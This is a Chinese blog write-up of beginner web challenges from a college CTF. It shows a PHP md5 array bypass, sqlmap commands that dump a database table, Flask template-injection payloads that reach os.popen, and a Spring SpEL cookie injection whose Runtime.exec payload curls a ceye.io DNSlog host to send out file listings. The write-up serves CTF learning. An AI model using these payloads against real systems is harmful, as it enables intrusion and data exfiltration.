记一次院赛CTF的WEB题(入门级别)
目录
- 签到一
- 签到二
- 口算小天才
- easy php
- 录取查询
- 我爱python
- Spring
这次院赛的题目比较基础,适合给刚入门CTF的小白提供一个大致CTF解题思路。(主要因为本人小白,表示能学到不少东西。)
签到一
题目中直接给了flag,提交就可以了。
签到二
这题主要考察的是基本的F12能力,查看网页源码,以及修改input输入框的长度。
口算小天才
这题通过题意,是需要让我们在1~3秒内回答出这个计算题。这题应该算是考察一个基本的编程能力吧。
这边给出我的python代码。当然这题还有很多别的编程语言可以使用,我当时就是直接用的js,直接获取算式,然后我是百度了一个别人写好js的运算的函数CalcEval.prototype.complexEval,然后将算式传进去,计算得出答案,放到答案的框中,js点击实现的。
easy php
其实看到vim就可以想到.swp文件的泄露,但是作为小白的我没有想到这个,我直接放到了漏洞扫描的软件扫了一下(强烈推荐这个软件)
这里发现了.DS_Store的泄露。
然后用ds_store_exp这个工具下载下来(需要的是python2.7的环境)
这边代码审计一下,首先页面get到a、b、c三个参数,然后把a和b经过的md5后的保存下来,这题输出flag的条件分别是,1、a和b存在 2、a!=b,且a的md5和b的md5要相等 3、c<9999999||(String)$c>0这个结果要是false。
md5()这个函数可以去百度一下,如果我们传入的a和b是数组的话,他们md5()后的返回值会是false,利用false==false可以满足条件2
然后要满足条件3需要知道,数组与整数比较会返回false,所以构建如下
录取查询
这题可以发现注入点,可以直接选择手工注入,但是更简单的是使用sqlmap
关于sqlmap如何post注入可以看下面的
首先需要用bp抓个包,把他copy到一个txt里面保存。
使用 sqlmap –r lqcx.txt –-dbs
就是使用我们保存的这个txt,去找数据库
可以发现有如下数据库,因为是学校的录取查询,所以应该是school,当然不知道也没关系,每个看一遍也能找到flag
然后sqlmap r lqcx.txt –D school –-table
就是找school数据库的表
可以发现有这两张表,所以当然是选择flag
使用sqlmap –r lqcx.txt –D school –T flag –-column
查找school数据库中的flag表的字段
可以看到有flag字段
使用sqlmap –r lqcx.txt –D school –T flag –C flag –-dump
就是查找school数据库中的flag表的flag字段,然后—dump弹出显示出来
就能得到flag
然后放一段我同学的手工注入
我爱python
这题的话,看了他的网页源码,可以看到power by flask,然后百度一下flask漏洞
推荐这篇博客https://blog.csdn.net/lansatiankongxxc/article/details/78764726
大概可以知道我们需要他的os模块来显示有哪些文件,然后使用file模块来读取文件。
这边使用{{().class.bases[0].subclasses()}}可以看到有哪些类,我们发现有file,然后我们还需要os,这边看了大佬的write up知道了,访问os模块可以从warnings.catch_warnings下手,发现确实是包含了这个类
这边是上面查到的那篇博客的部分截图
首先,这边要找warnings.catch_warnings的位置,于是我用{{[].class.base.subclasses().index(warnings.catch_warnings)}}
我发现不能执行他的那个语句应该是没有导入warnings的缘故吧我想,于是我把之前用{{().class.bases[0].subclasses()}}找到的所有类放到notepad++中,批量把>换成了>\n
这边发现他是第60个,换成索引就是59。
然后知道了位置,执行
{{().class.bases[0].subclasses()[59].init.func_globals.keys() }}查看由哪些global函数
这边可以看到有linecache,我们要访问的os模块就在这里
{{().class.bases[0].subclasses()
[59].init.getattribute(‘func_global’+‘s’)
[‘linecache’] .dict[‘o’+‘s’].dict’popen’.read()}}
当然,这边没有进行关键字的过滤,所以不需要拼接字符串,但是我这里还是拼接了一下。
可以看到有这些文件,很明显我们要的是flag。
使用file模块进行读写
使用之前找到warnings.catch_warnings位置的方法,发现file的索引是40
{{().class.bases[0].subclasses()40.read()}}
Spring
主要给了他后台的源码,是一个jar包。
使用JD-GUI反编译一下,可以看到可读的java源码
首先可以看到SpringBoot的配置application.yml
这边可以看到一个管理员的账号、密码、权限和一个后面要用到的rememberMeKey。还有一个黑名单,我们后面需要绕过这些。
Main控制器中主要是一个账号密码权限和是否记住的读取,然后如果勾选了记住我的话,会默认给设定一个cookie
由于SmallEvaluationContext extends StandardEvaluationContext StandardEvaluationContext这些是可以执行类类型表达式。所以会出现命令执行漏洞。
这边就是把那个username传到了getAdvanceValue()方法里面,所以我们需要传的这个username应该是一个执行后可以获取我们想要的flag的东西。
然后可以看到这个username是把rememberMeValue传到this.userConfig.decryptRememberMe()里面得到的。
rememberMeValue就是我们的remember-me的值,这是我们一个cookie的值,我们可以通过改cookie的值来实现传入这个rememberMeValue
然后找到userConfig里面的decryptRememberMe()
就是会调用这个解开我们的cookie然后最后给到具有命令执行漏洞的SmallEvaluationContext
所以我们要构造这个cookie,就需要使用加密的方法,可以找到
这里的rememberMeKey的值就是之前看到的。
然后就可以把这个加密的方法copy出来,把我们想要执行的内容加密存入cookie
我们主要是要通过这样来获取一个回显(我这里使用DNSlog的回显方式是使用ceye.io)
Runtime.getRuntime().exec(“curl http://****(这里是自己的一个子域名).ceye.io/”)
然后构建payload
String.class.getClass()
.forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),"curl http://***.ceye.io/");
我最终构建如下
这边就是使目标服务器,执行将ls下的每一个文件名作为四级域名的形式回显。
为什么我不一次性作为一个字符串返回,是因为有长度限制
可以参考简书https://www.jianshu.com/p/307acf4e1fbf
所以我使用了一个for循环,将每个文件名作为我的域名的一部分回显了。
可以看到有flag_j4v4_hhh的一个文件
这边base64加密传输是避免部分符号的丢失
记一次院赛CTF的WEB题(入门级别)相关推荐
- 记一次院赛CTF的Pwn和Misc题(入门)
目录 Pwn easy pwn 莽撞人 反向读取 Misc drop the beats 拼东东 消失的50px Pwn 见到别的比赛的pwn题才幡然醒悟,已经没有比这些更简单的pwn题了. easy ...
- 记一次院赛CTF的Crypto和Re题(入门)
目录 Crypto easy crypto bAcOn 敌军密报 Re easy re 跳到对的地方 简单的XOR 多密码表替换 Crypto easy crypto 首先,这个可以很容易的看出这是一 ...
- 某新生院赛CTF 移动题writeup
题目提供了一个apk,常规考察内容一般为逆向.挖洞~ 1.程序初步分析 获取一个apk后第一件事情肯定是运行,看看题目到底是要干嘛,是要逆向分析算法,还是利用一些Androd机制.截图如下: 程序只有 ...
- BSides Noida CTF 2021 web题wowooofreepoint writeup(两道反序列化)
emmm终于开始正经地写第一篇wp了!撒花撒花~这场比赛也算是我第一个没爆零的比赛,自己独立做出来了一道(半?),拿到flag也是相当开心~(当然还是比较菜,大佬轻喷)比完赛之后自己又去把差一点做出来 ...
- mysql 南邮ctf_南邮CTF平台WEB题writeup
https://cgctf.nuptsast.com/login 1.签到题 F12查看网页源代码就有flag 2.md5 collision 附上题目给的源代码md51 = md5('QNKCDZO ...
- 南邮CTF平台WEB题writeup
平台地址:https://cgctf.nuptsast.com/login 1.签到题 F12查看网页源代码就有flag 2.md5 collision 附上题目给的源代码 md51 = md5('Q ...
- CTF学习-web解题思路
CTF学习-web题思路 持续更新 基础篇 1.直接查看源代码 2.修改或添加HTTP请求头 常见的有: Referer来源伪造 X-Forwarded-For:ip伪造 User-Agent:用户代 ...
- I春秋CTF训练营web题解(一)
I春秋CTF训练营web题解(一) (1)include ==hint:没错!就是文件包含漏洞.== 点开链接,发现 通过源码可知可以提交一个path的变量,通过ctrl+f搜索allow_url_i ...
- ZUFE 2017院赛 - Problem K: Jelly与狗头人的地下世界 (DP)
一个简单的DP. 只能往下和往右传递. 对DP不够敏感,打院赛的时候用记忆化搜索过的,浪费不少时间. #include <iostream> #include <stdio.h> ...
最新文章
- IDA Pro 修改默认名称
- 生成和合入patch的两种方式
- boost::mp11::mp_find_if_q相关用法的测试程序
- Software_King-jdk配置java
- 5G芯片市场“四强争霸” 未来市场格局谁更胜一筹?
- html日期选择格式 now,JavaScript的Date.now()方法怎么用?
- fcm模糊聚类matlab实例_模糊控制
- JAVA 调用Web Service的方法(转)
- 做港台项目开发遇到的一些非技术问题总汇。。。
- python 大智慧自定义数据_大智慧自定义指数
- 《大学美育》大作业——何为美
- 如何群发邮件?教你发邮件时文件怎么命名、如何设置邮件格式,一文解决你的疑惑
- hadoop中HDFS的NameNode原理
- 测试身体脂肪指数软件,判断肥胖的5个标准,体脂率测试的3个方法
- 微信小程序html格式转换详解
- 【解惑】女生适合干计算机什么方面的工作
- html手机上怎么修改,怎么用手机修改路由器密码?
- tomcat实现https双向认证配置
- 基于JAVA林家餐厅自助点餐管理系统计算机毕业设计源码+数据库+lw文档+系统+部署
- php求价格最低,php-将Woo-commerce变体销售价格调至低于实际价格
热门文章
- 一、Vmware安装Centos7虚拟机
- AAAI 2022 | 可解释和鲁棒的联合文本分类及证据提取
- 一文详解图对比学习(GNN+CL)的一般流程和最新研究趋势
- 旷视 AI 飞跃 | 研究生联合培养计划
- ICLR 2021投稿中值得一读的NLP相关论文
- 还在熬夜憋思路?这12篇最新论文打包送给你 | 本周值得读
- 本期最新 9 篇论文,每一篇都想推荐给你 | PaperDaily #14
- ACM公选课第五节贪心4.14-5.4补+第六节上贪心线段覆盖
- SpringBoot AOP实现接口次数访问统计
- 点在多边形内外的判断【计算几何】